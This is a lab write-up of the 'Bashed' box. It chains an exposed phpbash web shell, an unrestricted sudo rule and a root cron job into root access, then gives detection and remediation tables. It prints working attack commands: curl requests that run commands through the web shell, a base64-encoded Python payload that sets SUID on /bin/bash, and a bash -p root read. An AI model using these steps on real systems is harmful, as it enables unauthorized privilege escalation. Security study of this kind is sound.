Overview
Bashed is a box about development hygiene. The target runs Apache on Ubuntu
16.04, and the site’s index page openly describes phpbash: a web-based shell
the developer built and tested on this very server. The shell is still sitting
in /dev/, accessible to anyone who requests it. From there, a sudo
misconfiguration allows lateral movement to a second user account, which owns
a directory that a root cron job executes Python scripts from. Three separate
failures, each individually fixable in minutes, chain into root access.
The broader lesson: attack chains do not require sophisticated exploits. Three misconfigurations, each rated “medium” in isolation, combine into a critical path. Defenders who assess risks individually miss the compounding effect. Risk multiplication, not addition, is how real breaches work.
Reconnaissance
I start with a service-version scan to map the attack surface:
nmap -sC -sV -oA scans/bashed 10.129.15.29
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 80 | HTTP | Apache httpd 2.4.18 (Ubuntu) | “Arrexel’s Development Site” |
| 10000 | Unknown | Filtered | Webmin (unreachable externally) |
A single open port. Apache 2.4.18 maps to Ubuntu 16.04 (Xenial), which tells me the kernel is likely in the 4.4.x range. The site title “Arrexel’s Development Site” is a strong hint that this is a personal dev box rather than a hardened production deployment.
Port 10000 is filtered, meaning a firewall is dropping packets rather than rejecting them. Webmin commonly binds to this port, but without local access or a valid credential, it is a dead end for now.
With only HTTP exposed, the attack surface is entirely web-based.
Attack Surface Analysis
Application review
Before reaching for directory brute-forcing tools, I read the site content. The index page contains a blog post describing phpbash and links to its GitHub repository. The developer explicitly states the tool was “developed on this exact server.” This is a direct admission that a web shell exists somewhere in the document root.
Directory discovery
I run feroxbuster to map the directory structure. I chose common.txt over
a larger wordlist because the developer already told me the shell exists; I
just need to find its path:
feroxbuster -u http://10.129.15.29 -w /usr/share/seclists/Discovery/Web-Content/common.txt
200 GET /
200 GET /about.html
200 GET /contact.html
301 GET /dev/
301 GET /uploads/
301 GET /php/
The /dev/ directory returns a listing (Apache Options +Indexes). Two files
are visible:
phpbash.php
phpbash.min.php
This is not a hidden backdoor planted by an attacker. The developer openly documented its existence on the index page, and Apache’s directory listing makes it trivially discoverable even without the blog post. The box simulates a developer who forgot to clean up their test environment before exposing the server to the network.
phpbash functionality
Navigating to http://10.129.15.29/dev/phpbash.php presents a browser-based
terminal emulator. Commands are sent via POST with the cmd parameter and
executed through PHP’s shell_exec(). The shell runs as www-data. No
authentication is required.
| Attribute | Value |
|---|---|
| CWE | CWE-552 (Files Accessible to External Parties) |
| CVSS v3 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Root cause | Development artefact left in production web root |
| MITRE ATT&CK | T1505.003 (Web Shell) |
The CVSS score is 9.8 because every base metric is worst-case: network accessible, no complexity, no privileges needed, no user interaction, and full impact across confidentiality, integrity, and availability. A pre-installed unauthenticated web shell is about as bad as initial access gets.
Vulnerability Analysis
The attack chain involves three independent misconfigurations. Each one is exploitable only because of poor application of least privilege.
1. Exposed web shell (CWE-552). phpbash.php provides unauthenticated
command execution as www-data. The developer created it for testing and
never removed it. Apache directory listing on /dev/ makes it discoverable
without brute-forcing, but even with listing disabled, the file name is
predictable given the GitHub repository link on the index page.
2. Overly permissive sudo (CWE-269). www-data can run any command as
scriptmanager without a password:
(scriptmanager : scriptmanager) NOPASSWD: ALL
This grants full lateral movement to the scriptmanager account. The entry
was likely created so the web application could invoke maintenance scripts,
but scoping it to ALL instead of specific commands makes the restriction
meaningless.
3. Root cron executing from a user-writable directory (CWE-732). A root
cron job runs every minute and processes all Python scripts in /scripts/, a
directory owned by scriptmanager. The cron job executes whatever it finds
there, so any user who can write .py files to /scripts/ can escalate to
root. The root cause is running a privileged process against an unprivileged
directory: the cron should either run as scriptmanager or the directory
should be root-owned with mode 755.
Exploitation
Initial access via phpbash
Direct access to the web shell provides command execution as www-data:
curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
The user flag is world-readable in arrexel’s home directory:
curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=cat /home/arrexel/user.txt"
# [redacted]
I could upgrade to a proper reverse shell here, but the web shell is sufficient for the remaining steps. The commands I need to run are short and non-interactive, so the overhead of establishing a reverse shell (setting up a listener, dealing with TTY allocation) is unnecessary.
Lateral movement to scriptmanager
Checking sudo privileges for the current user:
curl -s -X POST http://10.129.15.29/dev/phpbash.php -d "cmd=sudo -l"
User www-data may run the following commands on bashed:
(scriptmanager : scriptmanager) NOPASSWD: ALL
The (scriptmanager : scriptmanager) syntax means www-data can run commands
as scriptmanager (both user and group). The NOPASSWD directive means no
password prompt. This is a lateral movement primitive, not a direct privilege
escalation, because scriptmanager is still a non-root user. The question
becomes: what can scriptmanager do that www-data cannot?
Examining the /scripts/ directory as scriptmanager:
sudo -u scriptmanager ls -la /scripts/
drwxrwxr-- 2 scriptmanager scriptmanager 4096 Dec 4 2017 .
-rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py
-rw-r--r-- 1 root root 12 Apr 4 06:01 test.txt
Two observations confirm a root cron job. First, test.txt is owned by root,
which means a root process created it. Second, its modification timestamp is
recent (within the last few minutes), indicating the process runs on a
schedule. test.py writes to test.txt, so the cron job is executing Python
scripts from this directory. Since scriptmanager owns the directory, I can
write arbitrary Python scripts that root will execute.
Privilege escalation via cron
I write a Python script that sets the SUID bit on /bin/bash. I use base64
encoding because writing code through a web shell introduces quoting conflicts:
the web shell’s cmd parameter parsing collides with quotes and backticks in
the Python payload. Encoding the entire payload sidesteps this entirely:
echo "aW1wb3J0IG9zCm9zLnN5c3RlbSgiY2htb2QgdStzIC9iaW4vYmFzaCIpCg==" | \
base64 -d | sudo -u scriptmanager tee /scripts/evil.py
The decoded payload is:
import os
os.system("chmod u+s /bin/bash")
I chose SUID bash over a reverse shell for the escalation step because it is persistent and deterministic. A reverse shell requires the cron job to fire while my listener is active; SUID bash survives indefinitely once set.
After approximately 60 seconds, the cron job fires and sets the SUID bit:
ls -la /bin/bash
# -rwsr-xr-x 1 root root 1037528 Jun 24 2016 /bin/bash
The s in the owner permission field confirms the SUID bit is set. Now any
user can spawn a root shell:
/bin/bash -p -c 'cat /root/root.txt'
# [redacted]
The -p flag is critical. Without it, bash drops the SUID privilege on
startup as a security measure (bash has done this since version 2.0). The -p
flag preserves the effective UID, allowing the elevated privileges to persist.
Post-Exploitation
id
# uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root)
uname -a
# Linux bashed 4.4.0-62-generic #83-Ubuntu SMP x86_64 GNU/Linux
The system runs Ubuntu 16.04.2 LTS with kernel 4.4.0-62. This kernel is vulnerable to multiple local privilege escalation CVEs, including DirtyCow (CVE-2016-5195). The cron-based escalation was cleaner, but a kernel exploit would have worked as an alternative path.
Webmin 1.580 listens on port 10000, accessible only from localhost. This
version is vulnerable to CVE-2012-2982 (authenticated RCE via arbitrary file
access in the show.cgi component). With root access now established, I can
confirm Webmin’s configuration, but it represents an independent escalation
path that would require valid Webmin credentials.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Initial access | T1505.003 | Web server logs showing POST requests to /dev/phpbash.php |
| Execution | T1059.004 | Process monitoring: sh spawned by Apache/PHP |
| Privilege esc. | T1548.003 | sudo audit logs showing www-data running commands as scriptmanager |
| Privilege esc. | T1053.003 | File integrity monitoring on /scripts/ detecting new .py files |
| Persistence | T1548.001 | File integrity monitoring detecting SUID bit change on /bin/bash |
Web server logs: POST requests to /dev/phpbash.php with a cmd
parameter are unambiguous indicators of web shell activity. Any WAF or log
analysis tool should flag this pattern. The shell itself makes no attempt to
obfuscate its traffic; each command is a plaintext POST parameter.
Process tree anomalies: Apache spawning /bin/sh or /bin/bash child
processes is abnormal in most environments. Process monitoring tools (auditd,
Sysmon for Linux, Falco) can alert on this parent-child relationship. The
pattern httpd -> php -> sh is a high-fidelity web shell indicator with very
few false positives outside of legitimate CGI environments.
File integrity monitoring: Tools like AIDE or OSSEC monitoring /scripts/
would detect the creation of evil.py. Monitoring SUID bit changes on
system binaries is a standard hardening practice that catches the final
escalation step. On modern systems, Falco rules flag SUID changes on binaries
in /bin/, /usr/bin/, and /sbin/ by default.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove phpbash.php and phpbash.min.php from /dev/ | Low | Critical |
| P0 | Disable Apache directory listing (Options -Indexes) | Low | Critical |
| P1 | Scope sudo entry to specific commands, not ALL | Low | High |
| P1 | Change /scripts/ ownership to root:root with mode 755 | Low | High |
| P2 | Remove or upgrade Webmin (1.580 is vulnerable) | Low | Medium |
| P2 | Separate development and production environments | Medium | Medium |
| P3 | Audit all cron jobs for privilege escalation paths | Low | Medium |
The common thread across these findings is a failure to apply least privilege.
The web shell exists because development and production were not separated.
The sudo entry is ALL when it should be scoped to specific commands. The
cron job runs as root against a directory writable by a non-root user. Each
fix is trivial individually; the real remediation is adopting least privilege
as a design principle rather than an afterthought.
Key Takeaways
-
Read the application before reaching for tools. The index page explicitly stated phpbash was tested on this server. Directory enumeration confirmed it, but reading the page would have made feroxbuster optional. Attackers who read application content before brute-forcing paths are faster and quieter. The same applies to defenders: understanding what an application is supposed to do makes anomalies obvious.
-
sudo to a non-root user is still a privilege escalation building block. Dismissing
sudo -u otheruser NOPASSWD: ALLbecause it does not grant root directly is a mistake. The question is always: what can that other user access? Here,scriptmanagerowned a directory that root’s cron read from, creating a two-hop path to root. During sudo audits, trace every target user’s file ownership and group memberships. -
Root cron identification without crontab access. Root’s crontab is not readable by other users. But its effects are visible: files owned by root with recent modification timestamps in directories owned by other users are a strong signal. Watching
test.txtupdate every 60 seconds is empirical proof of a scheduled root process without ever reading/var/spool/cron/root. Tools like pspy automate this by monitoring process creation events, but manual observation of file metadata works just as well on a box this simple. -
Base64 encoding bypasses shell quoting in web shell payloads. Writing code through a web shell introduces nested quoting contexts: the HTTP parameter, the shell invocation, and the payload itself. Encoding the entire payload in base64, piping through
base64 -d, and writing viateecollapses all three layers into a single safe pipeline. This technique applies to any constrained execution context, not just web shells.